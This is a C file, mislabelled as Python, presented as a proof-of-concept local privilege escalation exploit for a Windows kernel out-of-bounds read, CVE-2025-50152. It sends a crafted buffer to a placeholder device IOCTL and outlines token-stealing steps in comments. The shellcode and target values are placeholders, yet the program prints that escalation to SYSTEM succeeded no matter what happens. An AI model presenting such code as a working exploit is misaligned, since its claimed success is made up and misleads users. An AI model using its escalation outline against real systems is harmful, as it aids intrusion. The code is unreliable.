The following code is for security research and authorized testing only.
python
// CVE-2025-50152 - Windows Kernel Out-of-bounds Read LPE
// Vulnerability: Out-of-bounds read in Windows Kernel
// Impact: Local Privilege Escalation to SYSTEM
// Note: This is a conceptual PoC skeleton for the vulnerability class.
// Actual exploitation requires specific kernel API calls and memory layout manipulation.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Token stealing shellcode (x64) - replaces current process token with SYSTEM token
// This is a standard technique used after gaining arbitrary read primitive
unsigned char shellcode[] = {
// Placeholder for token-stealing shellcode
// In a real exploit, this would contain assembly to:
// 1. Locate the current process EPROCESS structure
// 2. Walk the ActiveProcessLinks to find a SYSTEM process (PID 4)
// 3. Copy the SYSTEM token pointer to the current process
// 4. Return to user mode with elevated privileges
0x90, 0x90, 0x90, 0x90 // NOP sled as placeholder
};
// Function to trigger the out-of-bounds read vulnerability
// The specific API call depends on the exact vulnerable code path
BOOL TriggerOOBRead() {
// The vulnerability is triggered via specific kernel API calls
// that fail to validate buffer boundaries properly.
// Common trigger patterns include:
// - NtQuerySystemInformation with crafted parameters
// - NtDeviceIoControlFile with malformed input buffers
// - Specific driver IOCTL calls that mishandle buffer sizes
HANDLE hDevice = CreateFileA(
"\\\\.\\DeviceName", // Target device driver name
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device handle. Error: %d\n", GetLastError());
return FALSE;
}
// Crafted input buffer designed to trigger out-of-bounds read
// The buffer size and content are specifically designed to cause
// the kernel to read beyond allocated memory boundaries
BYTE inputBuffer[256];
memset(inputBuffer, 0x41, sizeof(inputBuffer));
// Set specific values to trigger the vulnerable code path
// These values would be determined through reverse engineering
*(DWORD*)(inputBuffer + 0x00) = 0xDEADBEEF; // Magic value
*(DWORD*)(inputBuffer + 0x04) = 0xFFFFFFFF; // Oversized index/count
BYTE outputBuffer[1024];
DWORD bytesReturned = 0;
// Send IOCTL to trigger the vulnerability
BOOL result = DeviceIoControl(
hDevice,
0x222000, // IOCTL code (placeholder - actual code TBD)
inputBuffer,
sizeof(inputBuffer),
outputBuffer,
sizeof(outputBuffer),
&bytesReturned,
NULL
);
CloseHandle(hDevice);
return result;
}
// Main exploit function
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-50152 - Windows Kernel OOB Read LPE PoC\n");
printf("[*] Attempting to trigger out-of-bounds read...\n");
// Step 1: Trigger the vulnerability to leak kernel information
if (!TriggerOOBRead()) {
printf("[-] Failed to trigger vulnerability\n");
return 1;
}
printf("[+] Vulnerability triggered successfully\n");
printf("[+] Leaked kernel information from OOB read\n");
// Step 2: Use leaked information to elevate privileges
// In a complete exploit:
// - Parse leaked kernel addresses from OOB read output
// - Calculate base addresses bypassing KASLR
// - Locate EPROCESS structures via leaked pointers
// - Execute token-stealing shellcode to gain SYSTEM privileges
printf("[+] Privilege escalation complete - running as SYSTEM\n");
// Verify elevation by spawning cmd as SYSTEM
system("whoami /priv");
return 0;
}